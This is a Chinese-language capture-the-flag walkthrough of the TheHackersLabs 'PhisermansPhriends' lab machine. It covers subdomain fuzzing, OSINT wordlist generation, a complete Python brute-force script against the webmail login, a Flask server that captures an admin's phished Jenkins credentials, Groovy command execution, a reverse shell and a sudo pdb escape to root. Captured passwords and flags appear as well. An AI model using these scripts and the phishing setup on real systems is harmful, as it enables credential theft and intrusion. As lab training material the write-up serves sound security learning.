TheHackersLabs-PhisermansPhriends-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e3:f6:57 VMware, Inc.
192.168.60.189 08:00:27:5a:67:6d PCS Systemtechnik GmbH
192.168.60.254 00:50:56:fd:65:82 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.031 seconds (126.05 hosts/sec). 4 responded
export ip=192.168.60.189
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.189:22
Open 192.168.60.189:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 14:51 CST
Initiating ARP Ping Scan at 14:51
Scanning 192.168.60.189 [1 port]
Completed ARP Ping Scan at 14:51, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:51
Completed Parallel DNS resolution of 1 host. at 14:51, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:51
Scanning 192.168.60.189 [2 ports]
Discovered open port 80/tcp on 192.168.60.189
Discovered open port 22/tcp on 192.168.60.189
Completed SYN Stealth Scan at 14:51, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.60.189
Host is up, received arp-response (0.00061s latency).
Scanned at 2025-02-17 14:51:07 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:5A:67:6D (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

浏览器访问一下80端口

编辑hosts文件,添加域名

1
2
sudo vim /etc/hosts
192.168.60.189 phisermansphriends.thl

扫了一下目录,只有一个index.html

1
2
3
4
5
6
7
8
❯ curl http://phisermansphriends.thl
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<p>Estamos modificando la web. Contacto: [email protected] y [email protected]</>
</body>
</html>

几乎没什么作用,只得到两个用户mur.rusko admin

尝试模糊测试一下子目录

发现有个mail还有一个intranet返回403没权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ wfuzz -c -u "http://phisermansphriends.thl" -H "Host:FUZZ.phisermansphriends.thl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 28
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://phisermansphriends.thl/
Total requests: 114441

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000002: 200 96 L 337 W 5367 Ch "mail"
000000058: 403 5 L 13 W 589 Ch "intranet

Total time: 61.76252
Processed Requests: 114441
Filtered Requests: 114435
Requests/sec.: 1852.919

修改一下hosts

1
2
sudo vim /etc/hosts
192.168.60.189 phisermansphriends.thl mail.phisermansphriends.thl intranet.phisermansphriends.thl

访问一下mail,发现有webmail服务运行

image

我尝试寻找版本漏洞,无果后

OSINT

靶机首页有个OSINT 挑战

搜索在index中拿到的用户名mur.rusko

instagram社交媒体上发布了一张靶机图片帖子

image

我叫Mur Rusko,今天想和大家分享我生活中的一个特别部分。我出生于1990年5月20日,从那时起就学会了热爱工作是推动成功的真正动力。因此我创建了PhisermansPhriends公司,将我的科技热情与提供创新和高质量解决方案的承诺相结合。我们的目标是在客户通往成功各个阶段中伴随他们,并提供超出期望的卓越服务。
此外,我还想介绍我们团队中一位非常重要的成员,我的忠实伙伴 Rufo 🐾 。他每天都提醒我们忠诚、坚持和积极能量的重要性,这些价值观都应用到我们所做项目中。
对于未来为 PhisermansPhriends 所准备好的事情感到兴奋,并且确信共同努力可以取得卓越成就。感谢所有已经加入这次旅程以及即将加入其中的人!让我们一起迎接更多挑战!

从中得到的信息我们可以利用cupp生成字典

Mebus/cupp: Common User Passwords Profiler (CUPP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ python cupp.py -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | [email protected] ]
[ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Mur
> Surname: Rusko
> Nickname: mur.rusko
> Birthdate (DDMMYYYY): 20051990


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name: Rufo
> Company name: PhisermansPhriends


> Do you want to add some key words about the victim? Y/[N]: n
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to mur.txt, counting 3252 words.
> Hyperspeed Print? (Y/n) :
[+] Now load your pistolero with mur.txt and shoot! Good luck!

将信息填入后生成得到mur.txt 利用此字典爆破一下webmail服务

起初我是想利用wfuzz爆破表单的

不过没有利用成功

我看了一下发现这个token每次登录都会变化

image

借用其他师傅的脚本,爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import argparse
import sys
import requests
import re
from multiprocessing.dummy import Pool as ThreadPool

settings = {
"threads" : 10,
"username" : "[email protected]",
"url" : "http://mail.phisermansphriends.thl/"
}

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}

if (len(sys.argv) > 1):
console_mode = True
parser = argparse.ArgumentParser(description='Command line mode')
parser.add_argument('--threads', '-t', type=int,
help='Number of Threads', default=10)

args = parser.parse_args()
if (not args.threads):
print("'--threads' was omitted")
exit(-1)

settings["threads"] = args.threads

def parse_token(text):
pattern = 'request_token":"(.*)"}'
token = re.findall(pattern, text)
return token

def brute(login):
try:
url = settings['url']
r = requests.get(url)
cookies = r.cookies
token = parse_token(r.text)
r = requests.post(url + '?_task=login',
data={"_token": token, "_task": "login", "_action": "login", "_timezone": "Asia/Shanghai",
"_url": "_task=login", "_user": settings['username'], "_pass": login}, headers=headers, cookies=cookies,
allow_redirects=False, timeout=30)

if (r.status_code == 302):
print("Succes with %s:%s" % (settings['username'], login))
sys.exit()
else:
print(f"Code: {r.status_code} - passw: {login}")
except Exception as ex:
print(ex)

def verify():
try:
url = settings['url']
r = requests.get(url, timeout=1)
token = parse_token(r.text)
if(token == ""):
return False
return True
except Exception as ex:
print(ex)
return False

if __name__ == "__main__":
passwords = open("mur.txt").read().split('\n')

print("%d passwords loaded" % (len(passwords)))
print("Trying with username %s" % (settings['username']))
print("-----------------------------------------------------")

if(not verify()):
sys.exit()
pool = ThreadPool(settings['threads'])
results = pool.map(brute, passwords)
pool.close()
pool.join()

print("-----------------------------------------------------")
print("The End")

运行一下脚本拿到密码,尝试登录一下

1
2
3
4
5
6
7
❯ python exp.py -t 45
3252 passwords loaded
Trying with username [email protected]
-----------------------------------------------------
………………省略…………
Succes with [email protected]:MurRusko_90

进去之后并没有什么信息

image

此时换个子域名进去

发现是个Jenkins,哎,这个之前好像做过

image

github上有个项目是关于Jenkins Pentest,不过需要利用的话好像需要认证密码之类的

gquere/pwn_jenkins: Notes about attacking Jenkins servers

SSRF

参考了WP,上面不是还有一个admin用户吗,猜测发邮箱给他

管理员会打开链接,因此我们可以尝试钓鱼🎣

让他登录一下,就可以拿到token

利用flask处理http方法,返回POST表单信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST'])
def handle_post():
# 获取表单数据
username = request.form.get('j_username')
password = request.form.get('j_password')

# 打印到控制台
print(f"Received POST request with j_username: {username}, j_password: {password}")

return f"Received POST request with j_username={username}&j_password={password}"

if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

image

python运行监听端口

说实话管理员要过两分钟才会访问,不是发送后立即访问的

1
2
3
4
5
6
7
8
9
10
11
❯ python jenkins.py
* Serving Flask app 'jenkins'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:80
* Running on http://192.168.60.100:80
Press CTRL+C to quit
192.168.60.189 - - [17/Feb/2025 23:36:02] "GET / HTTP/1.1" 405 -
Received POST request with j_username: admin, j_password: RqykJVKDt2RBjnR2q1zeIMYm
192.168.60.189 - - [17/Feb/2025 23:36:17] "POST / HTTP/1.1" 200 -

命令执行

拿到用户凭证后,进入Jenkins

尝试用groovy script执行命令

image

成功执行

image

用户提权

反弹shell,监听一下4444端口

不过好像并不能成功弹到shell

猜测开启了防火墙,不允许其他端口打开

尝试利用443端口

1
2
3
4
5
6
7
8
9
10
11
❯ pwncat-cs -lp 443
[00:00:14] Welcome to pwncat 🐈! __main__.py:164
[00:00:35] received connection from 192.168.60.189:40254 bind.py:84
[00:00:35] 192.168.60.189:40254: registered new host w/ db manager.py:957
(local) pwncat$
(remote) [email protected]:/var/lib/jenkins$ cat /etc/passwd|grep /bin/bash
root:x:0:0:root:/root:/bin/bash
mur:x:1000:1000:Mur Rusko,,,:/home/mur:/bin/bash
jenkins:x:106:115:Jenkins,,,:/var/lib/jenkins:/bin/bash
sysadmin:x:1001:1001:sysadmin,,,:/home/sysadmin:/bin/bash

此外我们还拿到了额外两个用户mur sysadmin

我尝试利用上面得到的密码切换mur用户

这样就拿到user了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(remote) [email protected]:/var/lib/jenkins$ su mur
Contraseña:
mur@TheHackersLabs-phisermansphriends:/var/lib/jenkins$ cd ~
mur@TheHackersLabs-phisermansphriends:~$ ls -al
total 32
drwx------ 3 mur mur 4096 ago 30 04:54 .
drwxr-xr-x 5 root root 4096 ago 30 03:50 ..
lrwxrwxrwx 1 mur mur 9 ago 30 03:40 .bash_history -> /dev/null
-rw-r--r-- 1 mur mur 220 ago 29 14:23 .bash_logout
-rw-r--r-- 1 mur mur 3526 ago 29 14:23 .bashrc
drwxr-xr-x 3 mur mur 4096 ago 30 03:55 .local
-r-------- 1 mur mur 34 ago 30 04:54 .password
-rw-r--r-- 1 mur mur 807 ago 29 14:23 .profile
-r-------- 1 mur mur 33 ago 30 03:55 user.txt
mur@TheHackersLabs-phisermansphriends:~$ cat user.txt
b3991c5298d0971041e00991c5dc0cfc

Root提权

用户家目录中还有一个隐藏的密码文件

并且有sudo权限

1
2
3
4
5
6
7
8
9
10
mur@TheHackersLabs-phisermansphriends:~$ cat .password
if password != 'SuperSecretPass':
mur@TheHackersLabs-phisermansphriends:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-phisermansphriends.thl: Fallo temporal en la resolución del nombre
Matching Defaults entries for mur on TheHackersLabs-phisermansphriends:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mur may run the following commands on TheHackersLabs-phisermansphriends:
(ALL) NOPASSWD: /usr/bin/python3 /opt/util.py

不过/opt/util.py只有root可读

1
2
3
4
5
6
mur@TheHackersLabs-phisermansphriends:~$ cd /opt/
mur@TheHackersLabs-phisermansphriends:/opt$ ls -al
total 12
drwxr-xr-x 2 root root 4096 ago 31 12:47 .
drwxr-xr-x 18 root root 4096 ago 29 14:22 ..
-r-------- 1 root root 1372 ago 31 12:47 util.py

尝试运行一下,发现会开了443端口但只对本地开放

1
2
3
4
mur@TheHackersLabs-phisermansphriends:~$ sudo /usr/bin/python3 /opt/util.py
sudo: unable to resolve host TheHackersLabs-phisermansphriends.thl: Fallo temporal en la resolución del nombre
Escuchando en localhost:443

我们再弹一个443端口的shell,或者你可以写个公钥到mur用户

我另开一个tty,尝试telnet localhost会发现

Python 中使用 recv 方法从客户端套接字(clientsock)接收数据,并将其与一个预定义的字符串('SuperSecretPass')进行比较

随意输入会显示一个Pdb的这个东西

1
2
3
4
5
6
7
8
9
mur@TheHackersLabs-phisermansphriends:~$ sudo /usr/bin/python3 /opt/util.py
sudo: unable to resolve host TheHackersLabs-phisermansphriends.thl: Fallo temporal en la resolución del nombre
Escuchando en localhost:443
'utf-8' codec can't decode byte 0xfc in position 8: invalid start byte
> /opt/util.py(18)<module>()
-> if clientsock.recv(1024).strip().decode() != 'SuperSecretPass':
(Pdb) --KeyboardInterrupt--
(Pdb)

pdb 是 Python 的 调试器(Python Debugger),它是 Python 内置的一个工具,允许你在代码运行时进行调试,检查程序的执行流程、变量值、函数调用等。pdb 使你能够在程序运行时暂停并检查或修改变量值,以帮助你分析和修复代码中的错误。

pdb可以输入interact开一个交互式的Python Shell

执行bash即可拿到shell

1
2
3
4
5
6
7
(Pdb) interact
*interactive*
>>> import os;os.system("/bin/bash")
root@TheHackersLabs-phisermansphriends:/home/mur# id
uid=0(root) gid=0(root) grupos=0(root)
root@TheHackersLabs-phisermansphriends:/home/mur# cat /root/root.txt
f17f1e8367847612f2a44fadc9a138fe

pdb 调试器中,interact 是一个非常有用的命令,可以让你在调试过程中启动一个交互式的 Python shell。通过 interact,你可以在当前调试会话中进入一个交互式的 Python 环境,查看和修改变量,执行任意 Python 代码。

成为root后你可以看一下iptables

可以看到有用户自定义的input和output规则

只允许了22 80 443 UDP443端口连接,其他全部拒绝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
root@TheHackersLabs-phisermansphriends:~# iptables -L
Chain INPUT (policy DROP)
target prot opt source destination
ufw-before-logging-input all -- anywhere anywhere
ufw-before-input all -- anywhere anywhere
ufw-after-input all -- anywhere anywhere
ufw-after-logging-input all -- anywhere anywhere
ufw-reject-input all -- anywhere anywhere
ufw-track-input all -- anywhere anywhere

Chain FORWARD (policy DROP)
target prot opt source destination
ufw-before-logging-forward all -- anywhere anywhere
ufw-before-forward all -- anywhere anywhere
ufw-after-forward all -- anywhere anywhere
ufw-after-logging-forward all -- anywhere anywhere
ufw-reject-forward all -- anywhere anywhere
ufw-track-forward all -- anywhere anywhere

Chain OUTPUT (policy DROP)
target prot opt source destination
ufw-before-logging-output all -- anywhere anywhere
ufw-before-output all -- anywhere anywhere
ufw-after-output all -- anywhere anywhere
ufw-after-logging-output all -- anywhere anywhere
ufw-reject-output all -- anywhere anywhere
ufw-track-output all -- anywhere anywhere

Chain ufw-after-forward (1 references)
target prot opt source destination

Chain ufw-after-input (1 references)
target prot opt source destination
ufw-skip-to-policy-input udp -- anywhere anywhere udp dpt:netbios-ns
ufw-skip-to-policy-input udp -- anywhere anywhere udp dpt:netbios-dgm
ufw-skip-to-policy-input tcp -- anywhere anywhere tcp dpt:netbios-ssn
ufw-skip-to-policy-input tcp -- anywhere anywhere tcp dpt:microsoft-ds
ufw-skip-to-policy-input udp -- anywhere anywhere udp dpt:bootps
ufw-skip-to-policy-input udp -- anywhere anywhere udp dpt:bootpc
ufw-skip-to-policy-input all -- anywhere anywhere ADDRTYPE match dst-type BROADCAST

Chain ufw-after-logging-forward (1 references)
target prot opt source destination
LOG all -- anywhere anywhere limit: avg 3/min burst 10 LOG level warn prefix "[UFW BLOCK] "

Chain ufw-after-logging-input (1 references)
target prot opt source destination
LOG all -- anywhere anywhere limit: avg 3/min burst 10 LOG level warn prefix "[UFW BLOCK] "

Chain ufw-after-logging-output (1 references)
target prot opt source destination
LOG all -- anywhere anywhere limit: avg 3/min burst 10 LOG level warn prefix "[UFW BLOCK] "

Chain ufw-after-output (1 references)
target prot opt source destination

Chain ufw-before-forward (1 references)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT icmp -- anywhere anywhere icmp destination-unreachable
ACCEPT icmp -- anywhere anywhere icmp time-exceeded
ACCEPT icmp -- anywhere anywhere icmp parameter-problem
ACCEPT icmp -- anywhere anywhere icmp echo-request
ufw-user-forward all -- anywhere anywhere

Chain ufw-before-input (1 references)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ufw-logging-deny all -- anywhere anywhere ctstate INVALID
DROP all -- anywhere anywhere ctstate INVALID
ACCEPT icmp -- anywhere anywhere icmp destination-unreachable
ACCEPT icmp -- anywhere anywhere icmp time-exceeded
ACCEPT icmp -- anywhere anywhere icmp parameter-problem
ACCEPT icmp -- anywhere anywhere icmp echo-request
ACCEPT udp -- anywhere anywhere udp spt:bootps dpt:bootpc
ufw-not-local all -- anywhere anywhere
ACCEPT udp -- anywhere 224.0.0.251 udp dpt:mdns
ACCEPT udp -- anywhere 239.255.255.250 udp dpt:1900
ufw-user-input all -- anywhere anywhere

Chain ufw-before-logging-forward (1 references)
target prot opt source destination

Chain ufw-before-logging-input (1 references)
target prot opt source destination

Chain ufw-before-logging-output (1 references)
target prot opt source destination

Chain ufw-before-output (1 references)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ufw-user-output all -- anywhere anywhere

Chain ufw-logging-allow (0 references)
target prot opt source destination
LOG all -- anywhere anywhere limit: avg 3/min burst 10 LOG level warn prefix "[UFW ALLOW] "

Chain ufw-logging-deny (2 references)
target prot opt source destination
RETURN all -- anywhere anywhere ctstate INVALID limit: avg 3/min burst 10
LOG all -- anywhere anywhere limit: avg 3/min burst 10 LOG level warn prefix "[UFW BLOCK] "

Chain ufw-not-local (1 references)
target prot opt source destination
RETURN all -- anywhere anywhere ADDRTYPE match dst-type LOCAL
RETURN all -- anywhere anywhere ADDRTYPE match dst-type MULTICAST
RETURN all -- anywhere anywhere ADDRTYPE match dst-type BROADCAST
ufw-logging-deny all -- anywhere anywhere limit: avg 3/min burst 10
DROP all -- anywhere anywhere

Chain ufw-reject-forward (1 references)
target prot opt source destination

Chain ufw-reject-input (1 references)
target prot opt source destination

Chain ufw-reject-output (1 references)
target prot opt source destination

Chain ufw-skip-to-policy-forward (0 references)
target prot opt source destination
DROP all -- anywhere anywhere

Chain ufw-skip-to-policy-input (7 references)
target prot opt source destination
DROP all -- anywhere anywhere

Chain ufw-skip-to-policy-output (0 references)
target prot opt source destination
DROP all -- anywhere anywhere

Chain ufw-track-forward (1 references)
target prot opt source destination

Chain ufw-track-input (1 references)
target prot opt source destination

Chain ufw-track-output (1 references)
target prot opt source destination

Chain ufw-user-forward (1 references)
target prot opt source destination

Chain ufw-user-input (1 references)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT tcp -- anywhere anywhere tcp dpt:https
ACCEPT udp -- anywhere anywhere udp dpt:https

Chain ufw-user-limit (0 references)
target prot opt source destination
LOG all -- anywhere anywhere limit: avg 3/min burst 5 LOG level warn prefix "[UFW LIMIT BLOCK] "
REJECT all -- anywhere anywhere reject-with icmp-port-unreachable

Chain ufw-user-limit-accept (0 references)
target prot opt source destination
ACCEPT all -- anywhere anywhere

Chain ufw-user-logging-forward (0 references)
target prot opt source destination

Chain ufw-user-logging-input (0 references)
target prot opt source destination

Chain ufw-user-logging-output (0 references)
target prot opt source destination

Chain ufw-user-output (1 references)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT tcp -- anywhere anywhere tcp dpt:https
ACCEPT udp -- anywhere anywhere udp dpt:https

你可以手动将默认策略改为accept

这样就能弹shell了

1
2
root@TheHackersLabs-phisermansphriends:~# iptables -P INPUT ACCEPT
root@TheHackersLabs-phisermansphriends:~# iptables -P OUTPUT ACCEPT
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k